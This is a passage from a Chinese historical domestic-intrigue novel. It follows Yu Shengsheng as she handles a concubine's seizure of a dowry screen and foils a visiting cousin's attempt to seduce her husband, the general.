虞声笙跟嫂子撒娇:“好嫂子,等我怀了孕,也把你这有本事的嬷嬷借我一借呗?我保管好吃好喝地待她,还给她封一个大大的红包。” 郑秋娥哪里吃得住这般,被她闹得鬓角都散了些,忙道:“好好好,你要只管让她跟你去便是,嫂子什么时候亏待了你。” 正说着,外头的婆子过来传话,说是东厢房那头闹了起来,还请大奶奶和四姑奶奶过去瞧瞧。 东厢房是张氏的住处。 姑嫂二人对视一眼,虞声笙立马领会郑秋娥的意思:“还是我去吧,嫂子如今怀着身子呢,不宜走动太过。” 郑秋娥感激不尽。 她一个儿媳妇,当然不愿夹在公婆之间,那会让她十分被动。 待虞声笙到了东厢房门外,却听张氏在里头骂人。 骂的不是别人,是专管库房的妈妈。 “要你们有何用?连这点子物件都看不牢靠!!亏你们一个个的仗着有资历有年岁,还在其他人跟前充什么管事的架子,我都替你们丢人!对外可别再说你们是我的陪嫁了,我没这样没用的陪嫁!” 那妈妈也是有苦难言。 “太太,这事儿……原怪不得咱们。” 第135章男人制造的问题,男人自己解决 那妈妈也是满脸无奈,把事情絮絮叨叨地说了一遍。 这妈妈口齿不太灵光,说话颠三倒四的,但胜在能事无巨细,说得格外细致。 虞声笙在外头细细听了一耳朵,便全都明白了。 事情起因是裴姨娘动了库房里的一架四季粉彩的琉璃屏风,这可是张氏的陪嫁之一。 素日里,张氏自己都舍不得拿出来用。 今日她偶然去了一趟库房,却发现这宝贝不见了。 再细细一查,方知屏风如今正摆在裴姨娘的屋子里。 这下可捅了马蜂窝了。 张氏虽脾气火爆,但不是没有脑子。 她并没有直接去找裴姨娘发难,而是找来了专管库房的管事妈妈。 这操作在虞声笙看来就聪明多了。 有些事情就是这样,明明有理的一方却不能用过于直白猛烈的方式处理,只能火爆中带点迂回,就像张氏这样。 这也是虞声笙从养母处学到的内宅约束之法。 张氏一听这话,更是怒火中烧。 虞声笙给了门口丫鬟一个眼神,丫鬟会意忙高声通传:“四姑奶奶到了。” 张氏立马冷静了不少。 虞声笙到了张氏跟前福了福:“母亲这是怎么了,怎脸色这样难看?” “可巧你今日回来了,不然还看不成这样的好戏呢。” 张氏指着那妈妈,将事情利索地又说了一遍,随后冷笑:“你说说,我自己的陪嫁挪了地方,我这主人却不知晓,府里还有我的容身之处么?” “母亲别急,说不定是误会呢,爹爹素日里可不管这些的,咱们府里一应库房账房的对牌钥匙都捏在您手里,这是爹爹对母亲的敬重与信赖,千万不能因了一架屏风就坏你们多年的夫妻感情。” 虞声笙挥挥手。 那婆子忙不迭地起身退下。 “眼下事情已经如此,母亲不妨想想如何补救。” “还能怎样补救?”张氏心里憋闷,一屁股坐在榻上,浅浅用着茶水,“难不成冲到她的房中将东西抢回来不成?” 真要这样做了,那张氏的面子可就保不住。 虞正德大约也会觉得她太过小家子气。 左右为难。 明明张氏才是委屈的那一方。 虞声笙笑道:“这有何难,母亲若信得过我,便听我一言,保准不出三日,这屏风便会回到母亲手里。” 她轻轻在张氏耳边说了两句。 张氏狐疑:“这样能管用么?” “若不成,女儿赔给母亲一架更好的,将军府库房里的屏风随便母亲挑便是。” 有了这话,张氏一扫刚刚的不快:“成,那就先这么办。” 横竖也不会比眼前的局面更坏了。 待虞声笙走后,张氏立马抖擞精神,先去了一趟裴姨娘处,也不说什么,只管与她拉拉家常,说说笑笑的,尽显一位正房奶奶的大度从容。 目光落在屏风上,也就轻轻一扫而过。 那裴姨娘明显看出了张氏的眼神,似笑非笑地抿嘴:“太太瞧妾身处的屏风是不是很好看?是老爷许妾身从库房里挑的。” 张氏稳住了嘴角的弧度:“噢,是嘛,可见你素日里得老爷欢心,老爷公务繁忙,我又抽不开身,还多亏了有你伺候得宜,能让老爷松快些,老爷这般疼你也是应该的。” 见张氏没有如愿发飙,裴姨娘有些讪讪地垂眸。 从裴姨娘处离开,张氏冷着脸让人又开了库房,又送了好些东西去裴姨娘的房中。 什么古董摆件,翠宝珍玩等物,尽显大方。 下人谁不说张氏疼姨娘,竟比老爷更心爱三分。 很快,裴姨娘的屋子就焕然一新,越发富丽。 等虞正德又来裴姨娘处时,自然就瞧见了与往常不一样的布置,看得他眉心紧锁,原先存着的那点甜蜜迤逦之心也瞬间冷却。 他唤来奴仆一问,便问出了细节。 得知裴姨娘竟然动了张氏的陪嫁,虞正德怒火中烧。 他堂堂老爷,虞府的一家之主,尚且不会去动老婆的陪嫁,这要是传出去,不得被人笑死;她一个妾室,如何来这样大的胆子,居然敢越过正室,把手伸得这样长! 虞正德并非笨蛋,也很了解内宅之中的事情。 瞧瞧那奴仆战战兢兢的模样,他立马明白了是自己的偏宠给了裴姨娘勇气,也给了这些奴仆不得不配合的委屈。 很快,热情上涌的大脑冷静了不少。 他连口茶都没吃,冷冷起身,一言不发地离去。 一旁的裴姨娘特地打扮了一番,乌发如云,半挽月髻,如瀑的青丝从另一边的肩头垂下,刚好挡住了一身轻纱的婉约婀娜,越发显得娇媚无端。 这是虞正德最喜欢的。 或者说,这是男人最喜欢的。 可偏偏虞正德一眼没看,拂袖而走。 裴姨娘还没回过神来,外头又来了几个小厮,他们蜂拥而至,将屋子里本不属于裴姨娘的摆件物品统统拿走。 裴姨娘气得脸色发青。 一管事查点了那些物品后,又笑呵呵地对着她点头哈腰,说是老爷的吩咐,还要将这一架琉璃屏风带走。 裴姨娘自入府后,还从未这样被打脸,俏脸青了白,白了又青,硬生生咬碎一口银牙。 “拿去拿去!!当我稀罕不成!”她赌气嘴硬,泪水跟断了线的珠子似的簌簌滚落。 很快,屏风就回到了张氏手中。 还有那些个原先送去裴姨娘处的摆件,也一应都回到了库房。 张氏半点损失没有,更没有出头得罪人,还赚了贤良的好名声。 她偷乐不止,吃饭捧着碗都能笑出声。 虞正德与裴姨娘置气,一连七八日都对其不管不问。 张氏还提起裴姨娘,虞正德冷冷道:“不必管她,且叫她清醒清醒。” 张氏没问要清醒什么,只是让下人送了些补品茶点给裴姨娘,都是清火宁心的,虞正德知道后,越发觉得妻子温柔贤惠。 消息传来,虞声笙正坐在榻上看书。 闻言,她用书卷轻轻挡住口,皓白的手腕上铜钱叮当作响,鲜红配着玉白,一阵鲜艳夺目。 今瑶惊讶了:“怎会这样?为何老爷会生这样大的气?老爷不是最疼爱那裴姨娘的么?” 虞声笙眯起眉眼:“疼爱不假,但你别忘了,咱们虞府的老爷可是正经读书人出身,文臣之后。” 他最看重的就是尊卑有别,绝不能乱了次序。 他可以给裴姨娘那些东西,但裴姨娘不能自己伸手拿。 且一个妾室在明面上压过正房奶奶,一个宠妾灭妻的罪名就能让虞正德清誉受损。 他绝不会让这种事情出现。 况且,他也没想过要宠妾灭妻。 这事儿张氏出面不妥,还是要让引发这事儿虞正德自己来料理,方两全其美。 虞声笙冷冷地嘀咕:“男人制造出来的问题,当然要他们自己来收拾这个烂摊子,全丢给女人,像话吗?” 金猫儿靠得近,听得一清二楚。 她眼睛瞬间亮了。 可惜,这道理虞声笙明白,另一边镇国将军府的大奶奶就不太明白了。 却说那允娘正式抬为姨娘,做了慕淮安的妾室,自然备受宠爱。 每每慕淮安在徐诗敏处时,这允娘总会有千百种法子把慕淮安支走。 第136章贵客迎门 一开始徐诗敏还装作贤良大度,默不吭声,一味只纵着允娘胡闹;渐渐地,慕大太太都有些瞧不下去了,这太离谱了,一个刚进门不足一年的大奶奶竟被个妾室压得死死的。 她虽不太喜徐诗敏这个儿媳,但也没有让自己儿子名誉受损的想法。 但她就没想过,这个允娘是慕淮安自己招惹进门的。 往往出了事,先怪的永远是自己儿媳。 其中的这份道理若一开始没想明白便算了,一旦想明白了,各种委屈不敢蜂拥而至,堵在心头梗得难受。 眼下徐诗敏就是这么个尴尬的状态。 早起给婆婆请安,却又听了婆母两句训诫。 话里话外的意思是让她要想办法笼络住自己的丈夫。 徐诗敏心底一阵苦笑。 是她不愿意笼络吗? 是她不想和慕淮安亲近吗? 分明是慕淮安变心在前,这才成婚多久就给她这样大的难堪,叫她怎能承受得住? 如今可好,婆母还要她主动示好。 徐诗敏也是骄傲惯了的,哪里能拉得下这个脸。 慕大太太也是过来人,一见儿媳这神色,哪里还有不明白的。 她轻叹:“我与你说的句句都是肺腑之言,你或许觉得我偏心淮安,不够疼爱你,那也没法子,淮安是我亲生子,更是你的丈夫,这种事难道还要他来迁就你么?你想想你们从前,也恩爱甜蜜过来的,难不成一直这般僵着不成?” 徐诗敏面红如火,低头应下。 回到房中思来想去,她终究还是低头了。 这一晚,当慕淮安传话来说宿在外书房时,徐诗敏就精心装扮了一番,捧着茶案直奔外书房。 刚到门口,却听里头传来隐隐约约女子的嬉笑声。 徐诗敏一愣,下意识地往前张望。 从窗棱打开的一条缝隙中,她看见了允娘正在慕淮安跟前手执团扇曼妙轻舞。 那腰肢柔软,胭脂鲜艳,配上轻柔细软的绸缎,一举一动如临风微动,恍若神妃仙子。 当她拿着团扇遮住脸,只露出一双眼睛时,徐诗敏如五雷轰顶,愣愣地呆在了原地。 难怪她从前觉得允娘面善,总觉得似乎在哪里见过,原来正是这双眼睛! 黑白分明,清透明澈,那干净的眼线拉得长长的,在眼角处微翘,偏生白净的肤质硬生生压住了这一抹暗藏的娇媚,令整张脸越发素净。 两种反差,在一张脸上,足以摄魂夺魄。 这分明是虞声笙的眼睛! 徐诗敏明白了一切,她浑身冰凉地待在书房门外。 直到允娘一舞跳完,娇憨地要歪在慕淮安的怀中,她才堪堪清醒。 慕淮安似乎也回过神来,拒绝了允娘的邀请,让她先回自己房中。 允娘很是失落,却又不敢反驳,只好福了福娇滴滴道:“爷可别忘了奴家,奴家等着爷。” 待允娘离去,徐诗敏才端着凉透了的茶点一脚跨进门。 没想到她会来,慕淮安有些错愕:“我不是让人跟你说了,今晚不过去你那边,明儿是十五,我会去陪你用晚饭。” 徐诗敏冷哼:“我真是瞧不出来啊,你竟还有这番心思……慕淮安,你既放不下她,又后知后觉对她有了情意,干嘛还娶我过门?现在算什么,纳了一房与她相似的小妾,就能以解相思之苦了?” “慕淮安,你拿我当什么?!” 最后一句,撕心裂肺。 眼前的男人也微微动容,目光中隐隐有了几分愧疚。 相顾无言,只有女人泪流满面。 许久他才起身走到她跟前,抬手轻抚着她的背后:“对不住,是我不好。” 短短的一句话,成功卸掉了徐诗敏所有防备。 那些心酸委屈化成了眼泪,汹涌而出。 她扑进他的怀里,狠狠哭了一场,哽咽地要求着:“别去想她了,成不成?咱们俩好好过……” “好。” 慕淮安的声音沙哑,也不知这一句保证是说给徐诗敏听的,还是说给自己听的。 反正这一日后,他确实没有从前那样频繁地宠爱允娘了。 允娘不明白发生了什么,只觉得越发委屈。 徐诗敏重又获得了丈夫的关注与疼爱,府里的下人们看她的眼神也多了恭顺,就连允娘也日日要来给她晨昏定省,一日不落。 好像一切都看似回到了正轨上,但为何徐诗敏的心里却总是沉甸甸的,一点提不起劲儿呢。 闻昊渊将露娘一事据实禀报给皇帝。 并提出,自家大哥很可能还活着。 不过是因为某些特殊原因,暂时无法回京。 皇帝闻言,还特地宣黎阳夫人进宫,好好问了一番。 末了,这位九五至尊感慨轻叹:“要是你兄长还在,能顺利回还,朕也能略微心安,你们威武将军府还有一脉存世,是上天庇佑。” 找人事情自然要暗中进行。 虞声笙也帮了忙。 只是连起三卦都不一样,整得她都有点怀疑自己。 最后是在丈夫的安慰下,她屏气凝神,选中了直觉告诉她的其中一卦作为参考,暂时锁定了寻人的方位。 做完这些,她只觉得半条命都没了。 哼哼唧唧躺在床上好几日。 闻昊渊急了,要去给她找太医来瞧瞧。 虞声笙合着眼笑道:“不妨事,就是精力用过了,有些支撑不住,让我休息几天便好了。” 又躺了约莫四五日,她重又精神抖擞了起来。 这时,黎阳夫人拿着一封信给她看。 “姑母,你夫家那头的要来人了?”虞声笙惊讶,“来投奔?” 黎阳夫人面色发沉,点点头:“这次来的,是辉哥儿的大伯母,说是带着孩子来京城看病的。” 这理由足够充分了。 京城又不是黎阳夫人开的,人家来看病,她们还能拦着城门不让进么,显然不可能。 又有亲戚这一份关系在,更不可能将人拒之门外。 威武将军府如今人丁单薄,有的是宅院供人暂住的,叫人住在外头也不像话。 其实依着虞声笙自己的本性,住在外头有什么不可以的,这都是拐着弯子的亲戚了,八竿子打不到一块去。 但她冷静下来,很快就安排奴仆去收拾院落,以欢迎那位远道而来的大伯母。 黎阳夫人很过意不去,拉着虞声笙各种说软乎话,听得她耳根子都软了一半了;再看看黎阳夫人送给自己的那一对羊脂白玉福禄镯,质地温润,触手温凉,一看就是上等的好东西。 虞声笙立马没有不开心的了。 挽着黎阳夫人的胳膊,她一个劲地撒娇:“瞧姑母客气的,您的亲戚就是我的亲戚,既是大伯母,就当是来京城玩乐的了,过来咱们府上住着不也挺好,我正愁摸牌都凑不齐人呢,可巧给我送人来了。” 黎阳夫人哭笑不得,心也放下了一半。 至于闻昊渊,得知府里要来亲戚,也是无所谓。 他摸了摸妻子的脸,笑眯眯道:“你看着办。” 在赵家大伯母到来之前,虞声笙想象过很多关于他们一家子的模样,可当真正见到时,所有的想象都被推翻。 赵大伯母生得圆润白净,富态可掬,笑起来格外有亲和力。 她身边跟了一位看起来将笄之年的少女。 第137章自有主张 一身杏仁白的外衫配鹅黄的襦裙,鲜艳的绣边却是遍地百花的纹样,以浓翠淡绿为底,这一身说不出的明丽昭昭。 人往那儿一站,顿觉整个屋子都亮堂了。 这位贵族小姐生得也不错,柳眉杏眼,薄唇小口,用了点点胭脂,越发显得娇柔怯怯,如弱柳扶风,自有风流。 她小心翼翼瞥了一眼虞声笙,随后福了福,轻咳了一声道:“见过表嫂。” 闻昊渊喊黎阳夫人一声姑母,而这小姐则要称呼黎阳夫人婶娘,这么称呼虞声笙倒也没什么错。 毕竟论亲戚,还是以闻家这边为主。 虞声笙当即笑了:“这是哪家的姑娘,今儿我也算开了眼了,竟还有这般标致的人物,莫不是月里嫦娥下凡了吧。” “你就别跟她玩笑了,我这丫头最是脸皮薄,你瞧瞧,你才两句话她就羞得不敢见人喽。”赵大伯母笑得咯咯直乐。 那赵小姐已经躲到母亲身后去了。 只露出一双黑漆漆的眼睛,细细打量着虞声笙。 又说笑一番,虞声笙亲自领着人去后院安顿。 见到这处院落干净敞亮,里头的布置也富丽典雅,赵大伯母暗暗点头,心中道了个可字。 略休整后,虞声笙便退下,将这儿留给黎阳夫人与她的妯娌好好叙旧一番。 其实在虞声笙看来,本也没什么旧可以叙的。 黎阳夫人是为了避开被吃绝户,才千里迢迢回到京城。 如果没记错的话,当初为难他们一家孤儿寡母的,就有赵大伯母的丈夫。 垂眸轻笑着摇摇头,她感慨——都不是省油的灯啊。 这弯弯绕绕的内宅亲眷关系,一个不慎,就能满盘皆输。 虞声笙不擅长这些,所以她躲得远远的。 晚饭也是命厨房将饭菜送去赵大伯母处,理由也很正大光明——赵大伯母一行舟车劳顿辛苦了,刚抵京不久,应该好好清静休息一番。 这理由让赵大伯母也挑不出错。 当晚,瞧着满桌丰盛的酒菜,赵大伯母卸去了一日的疲倦,在婆子丫鬟的伺候下开始用饭。 “阅儿,你瞧这将军府如何?”赵大伯母轻笑着问女儿。 赵阅儿一改方才在虞声笙面前的软糯羞怯,明亮的眼睛里满是势在必得的欲望:“到了京城方知娘所言不虚,咱们家里如何比得上。” 尤其是这将军府的大气富贵。 瞧瞧那门口的大门,那一对器宇轩昂的石狮子,还有一眼望不到头的长廊,园子里百花齐放、争奇斗艳,眼睛瞧都瞧不过来了。 再看看晚上的菜色,那将军夫人说了,这只是家常,却也奉上了外头难得一见的鸽子蛋,还有另外几样珍馐,是赵阅儿从前见都没见过的。 浅浅用了两口饭菜,她又想起出发前娘亲说的话,忍不住追问:“您说……咱们过来是为了把婶娘带回去,可如今瞧着,叫女儿留下也未尝不可,我瞧那将军夫人的颜色也就一般,女儿可胜她百倍了!” “女儿家的,怎好说这话?你的婚事我自有主张,还轮不到你为自个儿张罗。” 赵大伯母话说得严厉,可眉眼间的笑意却不减,显然是赞同女儿的话的。 母女二人相视一笑。 “不过,眼下头等大事是把你的身子养好,一切容后再议。” “是,全听母亲的。” 威武将军府多了一房远房亲戚,其实日子过起来并没有什么不同。 虞声笙要算的,不过是多了一笔开支。 但对于庞然大物一般的将军府,这点开支又算得了什么? 待赵大伯母安顿几日后,虞声笙便以将军府的名义请了京中名医给赵阅儿看病。 一连看了好几位杏林高手,得出的结论都是胎里带的不足之症,只能后天以珍稀药材慢慢养着才行,且对女子生养这一项上有很大的阻碍。 虞声笙一开始听了半天没听明白。 还是黎阳夫人一语道破:“就是她天生身子弱,怕是以后难有子嗣。” 虞声笙讪讪。 这还是真是个尴尬的结果。 得知消息后,赵大伯母哭了两日。 到哪儿都顶着一双通红的眼睛。 赵阅儿更是伤心不已,日日以泪洗面。 虞声笙看在眼里,也没有急在心里,这生孩子的事情她说了不算呀,她既不是赵阅儿未来的丈夫,也不是什么擅长千金一科的大夫,爱莫能助,是她此刻最大的态度。 后来,见她们母女整日愁容满面,虞声笙便说可以帮她们请一请宫中的太医。 闻言,赵大伯母欣喜若狂,差点当场给她跪下了。 赵阅儿更是感激涕零:“好嫂子,我无以为报,若能医好我这病歪歪的身子,叫我往后给你做牛做马,替你分担都成。” 分担? 分担什么? 虞声笙敏锐地抓住了某一个重点。 她装作没听懂,笑得越发和颜悦色。 拉着赵阅儿的手,她眉眼弯弯:“阅儿妹妹说哪里话,你是府上贵客,什么分担不分担的,只管安心住着就好。” 要请太医,少不得要闻昊渊出面跟宫中通融一二。 没等虞声笙开口,黎阳夫人便主动请缨,说自己舍了老脸进宫去求皇后娘娘恩典。 她的主意向来正,办事也叫一个利索。 早上用饭时才跟虞声笙说的,下午晌人太医就奉命登门了。 这效率,让虞声笙自愧不如。 派来的太医也专长千金一科,到底是入选太医院的能人了,他给的结论与宫外的大夫不太一样,他的意思是能治,只是要花费些时日,代价也不小。 双方约定,太医每隔三日登门请脉看诊。 送走太医,赵大伯母双手合十,无比虔诚地望着天,口中不断念着佛号:“真是佛祖保佑。” 虞声笙道:“还是应该感谢姑母,若不是姑母进宫求了皇后娘娘,怕太医也来不了这样快。” 这话说得太直白,赵大伯母面子上有些挂不住。 她连连附和:“是呀是呀,瞧我这老糊涂的,一高兴起来什么都忘记了,好弟妹你可别往心里去。” 黎阳夫人干巴巴地扯了扯嘴角:“哪里话。” 办完了要紧的,说完了好听的,接下来该说说彼此都不爱听的话了。 赵阅儿用了几日药,觉得身上暖暖的,似乎与从前也有了些欣喜的变化,她不由得暗自雀跃。 赵大伯母眼瞅着差不多了,这一日便趁着与黎阳夫人唠家常的功夫,打开了话匣子。 “论理这话不该我说的,可你我妯娌做了这些年,你的人品我是最信得过的,断不会信外头那些人的传言;我家那口子原先也气你气得紧,我也跟着劝,可你也知晓,我一妇道人家,哪里能做得了男人的主?” 她边说边轻轻拭泪,“我晓得你委屈,你这一房没了男丁支撑门户,如何不难呢……” 黎阳夫人眉眼微动,依旧没开口。 放在桌案上的手却不着痕迹地收了回来,藏于袖中,隐隐握成拳。 赵大伯母又说了一圈的话,黎阳夫人却没有心情再听。 “大嫂子有话不妨直说,这般兜圈子可不像是你的性子。” 第138章幺蛾子来了 黎阳夫人语气依旧温和,但投过来的眼神却隐隐透着锋利。 赵大伯母被噎得不轻,一时间乱了方寸。 支支吾吾半晌,她才叹道:“实不相瞒,这一次我领着阅儿赴京寻医,还有另一桩事情,也是家里交代下来的;就问你一句,你准备什么时候回去?这儿虽好,但说到底不是咱们自家的地方,一直住着总归不好。” 黎阳夫人没吭声。 见状,赵大伯母又道:“我知晓,从前种种是我家那口子让你寒心了,其实后来他自己也悔恨不已,是他太过心急想要给你们这一房一个安定,没想到用力过猛,却叫弟妹你误会了。” 在一旁听着的虞声笙觉得有趣。 原本,她不愿留下的。 但黎阳夫人开了口,她少不得要留在她身边,给对方撑腰。 黎阳夫人投奔威武将军府后不久,就跟他们夫妻一五一十说了,事实根本不是像赵大伯母所言这般轻描淡写。 实际上,当初若不是黎阳夫人敏锐果断,怕是这会子已经让赵家人开了祠堂,宣告宗族耆老,把他们这一房的所有产业都收入公中。 听着就惊心动魄。 再瞧瞧赵大伯母如今的惺惺作态,虞声笙只觉得可笑又恶心。 黎阳夫人缓缓开口:“既然是误会,那原先被大哥收走的地契可否还我?我那一双孙辈如今还小,可长大了少不得也要花销,就像你说的,总不能一辈子都靠着我娘家吧。尤其辉哥儿,他是男孩子,往后支撑门户也要银钱打点;桂姐儿要出嫁,这份嫁妆必也不能少了。” 她边说边加深了唇边的笑意,“大哥既然诚心诚意让大嫂来开这个口,想必原先的地契也该还给咱们这一房了;别忘了,那地契上头印着的,可是乐安公的印鉴。” 乐安公,是黎阳夫人的丈夫。 说白了,这是他们这一房应得的产业。 怎么也落不到大哥手里…… 当初是黎阳夫人快刀斩乱麻,舍弃了小部分,才换来了他们的松懈,若非如此,她也不能顺利地带着孩子们逃离。 赵大伯母有些笑不出来了。 “那不是已经没入公中了么?怎好再拿出来?” “既如此,大嫂子也别开口了,你我多年妯娌,如今看在孩子的面上我才对你和颜悦色的;可我也不是好欺负的,你们两口子要是一直这样装傻充愣,可别怪我不欢迎你和阅儿。” 黎阳夫人冷冷道,“等阅儿的身子好得七七八八了,你就领着她回去吧,到底是投奔而来的亲戚,又是拐着弯的关系,总不好一直留在府上叨扰,传出去了还让人以为咱们赵家没规矩。” 赵大伯母:…… 面如死灰,却又不知如何反驳。 虞声笙见差不多了,笑眯眯地打圆场:“说起表妹的身子,昨个儿太医还提起过,说是再吃月余的药也就差不多了,接下来还得回乡去好好调养。” “既然要调养,自是调养彻底好了方能叫人安心啊。”赵大伯母总算找到了关键之处。 谁知虞声笙很诧异地转脸看她:“在自家调养,不比在外人府里调养更自在么?我读书不多,肚子里也没多少墨水,您可别怪我说话难听,有道是金窝银窝,不如自己的狗窝。” “这话虽粗,道理不错。”黎阳夫人肯定了。 虞声笙展颜一笑,又看向赵大伯母——后者彻底不吭声了。 黎阳夫人的态度很明确。 想要她领着孩子们回乡,那就把之前从她这儿拿走的地契交还回来。 今瑶悄悄跟自家主子耳语:“奴婢怎么觉着,就算那赵家太太给了地契,咱们姑太太也未必会跟着回去呢……” “这就叫阳谋。”虞声笙笑了。 赵大伯母未必不知晓黎阳夫人的盘算。 可她敢说出来么? 不敢。 一口气憋在肚子里,不上不下的,是以晚饭都没用。 赵阅儿这头安抚了母亲好一会儿,最终是劝得母亲缓和了好些。 “来之前就知道这女人不好劝,没想到比从前更强硬。”赵大伯母恨恨道,“到底是有人撑腰不一样了!” “娘。”赵阅儿撒娇道,“女儿的身子已经好得差不多了,既然黎阳夫人有那将军府的大奶奶撑腰,那何不让女儿也给她们添点堵?” 她抬手拢了拢精致的发髻,嫣然一笑,“女儿不信那少将军见了女儿会不动心。” 但见女儿鲜妍明丽,好一身打扮。 别说男子了,就连她自己见了都暗暗惊艳。 赵大伯母笑了:“你呀,真是便宜了这将军府的爷们。” 安园。 年轻主母的一日庶务忙得很。 虞声笙很喜欢这种忙碌。 一点点张罗,一点点累积,再看着账房里的银钱慢慢积少成多,会让她有种难以言说的自豪感。 从前在乡野时,每到秋冬她就会跟着婆子们去准备囤积食物。 要么是秋日里庄子上收获的粮食,要么是虞府送来的一应物件银钱,要么是趁着山里秋获丰足,每日都能满载而归。 那时候的虞声笙最喜欢看的,就是地窖或是库房被塞得满满当当。 如今这个习惯也被带到了威武将军府。 冬日囤冰,秋日储草,夏日还有各种应季的物品可以存放。 就比如这个时候,正值和暖的时节,便会存各种花茶,甜酱之类的东西。 还有好用的胭脂水粉,大多也是在这个时节有的。 账房来报,说赵阅儿着人才买了新的胭脂膏子,虞声笙一看账簿——好家伙,什么胭脂膏子花了足足二十两? 再去瞧瞧赵阅儿那张宛若新荷的脸,娇俏动人,她又感慨:果然一等价钱一等货啊,这上档次的东西就是好用。 她微微蹙眉,告诉账房先生将赵家母女的开支另起一本账簿,不要跟府里其他的混在一起。 很快,虞声笙就发现这胭脂膏子不是用在赵姑娘自己身上的,而是要用在闻昊渊身上的。 说起来赵家母女入了将军府也有段时日了,却没有正经见过闻昊渊几回。 一来是闻昊渊很忙,日日早起便出门,有时候要忙到掌灯之时才会回来,完美避开了与她们见面的时段;二来,闻昊渊对她们赵家印象很一般,能不见就不见,多少带了点偏见。 虞声笙心知肚明,也懒得劝。 没想到这一夜,金猫儿匆匆来报。 她奉命去给外书房的男主人送宵夜,没想到却在廊下撞见了赵姑娘。 金猫儿一见她的打扮,心头咯噔一沉。 三言两语,将对方暂时劝了回去,放下宵夜,她就紧赶慢赶地回来跟虞声笙回话。 “您是没瞧见,那轻纱绸缎,若隐若现的,哪里像个好人家的姑娘穿着的?奴婢挨着近,都能瞧见她里头那件绣着并蒂莲花的翠绿抹胸……”金猫儿说着,自己耳根都微微发烫。 “这副打扮,又深更半夜的在将军的外书房门口转悠,打量着谁瞧不出来呢。” 她有些气哼哼。 “亏得夫人待她们这样好,她们竟起了这个念头,合该天打雷劈,不得好死!!” 第139章送你一壶夜香水 虞声笙也有点生气。 这叫什么事…… 只是在内宅之中,这种事根本避免不了。 尤其像闻昊渊这样身居高位,又年轻有为,府里又只有一位正房奶奶,连个通房都没有的男人,会被人惦记上一点都不意外。 想清楚这环节,她劝了两句:“别气了,把咱们金猫儿姑娘气坏了,我可是会心疼的,你让她回去,她不是回去了么?这就够了。” “可……只有千年做贼的,哪有千年防贼的?”今瑶捧着针线篮子,她正在给虞声笙做袜子,就差一点点了,是以刚刚送宵夜的活计就落到了金猫儿的头上。 这话一针见血。 虞声笙也不可能时时派身边的心腹去看着闻昊渊。 再说了,她觉得闻昊渊不需要看。 这种事情,只要男人有心,挡得住第一次,难道还能挡得住第二次第三次么…… 赵家母女太过欺负人。 她若不给点颜色瞧瞧,还叫旁人以为自己好欺负。 看了一眼窗外的夜色,星空澄澈,月色皎皎。 她心里有谱了,冲着金猫儿招招手,在她耳边嘀咕了几句。 金猫儿立马展颜笑了:“这法子好,夫人且候着吧。” 说着,她忙脚步一转,匆匆出门去了。 今瑶好奇:“您与金猫儿姐姐说什么了,姐姐怎这样开心?” “困不困?”虞声笙问,“要是不困,就多等一会儿,你们夫人请你们看好戏。” 同个屋子里正在熨烫衣裳的其他几个丫鬟听了,相视一笑,一个个流露出期待雀跃的神色。 约莫一顿饭的功夫,前头闹了起来。 只听得一阵喧闹嘈杂,紧接着金猫儿趁着夜色回来了。 “如何?”虞声笙问。 金猫儿抿着嘴角,满脸兴奋:“成了,夫人!夫人真料事如神,那赵姑娘还真又折返了回去!” 原来,虞声笙算准了赵阅儿不会这么轻易就放弃。 对方能被金猫儿几句话就劝走,并非是金猫儿唇舌功夫了得,而是她想避其锋芒,先蒙混过去再说。 待金猫儿送了宵夜,回安园了,赵阅儿又闪了回来。 夜深人静,孤男寡女,且正房奶奶已经派人过来瞧过,想必不会再来,哪有比这更好的机会呢。 金猫儿过去时,赵阅儿已经悄悄要打开外书房的门了。 金猫儿按照虞声笙的吩咐,找了两个倒夜香的婆子过去,将壶内的水一股脑倒在赵阅儿的身上! 那壶里的当然不是腌臜污垢。 虽已清洗干净,装着的是清洁的井水,但泼在身上总有一股挥之不去、淡淡的臭味。 被泼了这么一身,赵阅儿又惊又怕。 那婆子又是个破锣嗓子,泼完就喊道:“谁在那里?!耽误老婆子我倒夜香!” 听到这话,赵阅儿羞愤至极,还以为自己身上当真是那污秽之物,气得险些晕过去。 此时,正在外书房议事的闻昊渊也听到了动静。 他直接打开门,与来不及逃走的赵阅儿打了个照面。 月色楚楚,干净如纱。 本该是金风玉露一相逢这绝美迤逦的时刻,赵阅儿却一身湿漉漉,还带着臭味儿。 更要命的是,闻昊渊根本不记得她的脸。 男人蹙眉冷呵:“没规矩的东西,你是哪一屋伺候的丫鬟?没有夫人的话,谁准你来这儿的?” 冷漠无比的发言,冻得赵阅儿浑身透寒。 她再也忍不住,捂着脸哭着跑了。 躲在一旁见证全程好戏的金猫儿终于乐了。 忙不迭回来告知虞声笙,她痛快道:“这下可好,总要让她学乖了。” “无妨,不学乖,那下回就真叫她顶着一身夜香回去好了。”虞声笙并不在意。 这事儿闻昊渊后来回屋还跟她提了一嘴。 说是某个不懂规矩的丫鬟大半夜地到处乱逛,他要虞声笙明儿天亮后把这人找出来。 “找出来然后呢?”虞声笙很想知道这男人想做什么。 “找出来狠狠打二十下手板子,不,还是鞭笞小腿二十下吧,给她长长记性,免得到处乱跑。” 闻昊渊也不是傻子。 府里内外两院分工鲜明。 奴仆们早就明白什么时辰该去什么地方,尤其是男主人的外书房,轻易更是靠近不得。 大家都明白的事情,却被一个丫鬟打破了。 怎么可能是无意间走岔了……分明就是故意的。 虞声笙满意了:“好,明儿我就把人找出来,狠狠教训一顿。” 翌日,赵阅儿果真病倒了。 今日又不是太医登门的日子,虞声笙便请了府医来给她瞧病。 哪怕如今已是和暖的季节,大半夜地被泼了一身凉水,赵小姐这样柔弱的身子如何吃得消,府医到时,她还高热不退,一手紧紧握住赵大伯母的手,口中唤着:“娘,娘……我怕!” 虞声笙在心底翻了个白眼,面上却很亲和:“这是怎么了,阅儿妹妹昨个儿还好好的,怎就突然烧起来了?” 赵大伯母心知肚明,却有口难言。 昨夜女儿哭着回来,又冷又怕,还受了惊,天还没亮就病得迷迷糊糊。 可她哪里敢说其中细节。 对上将军夫人那双关怀备至的眼睛,她还有些心虚。 “许是她身子骨柔弱,一时不察又受了风寒吧……”赵大伯母拭了拭眼角。 “天可怜见的。”虞声笙叹道。 这一闹,赵阅儿又病歪歪的了。 府医、太医轮番上阵,闹得外头都人尽皆知。 人人都知晓这位远道而来的表小姐身子骨柔弱,可把将军夫人急坏了。 甚至连赵夫人都亲自过来瞧过一次,还送了不少慰问厚礼。 闹得人仰马翻,赵阅儿多了好些苦药要吃,整日窝在房中不得出门。 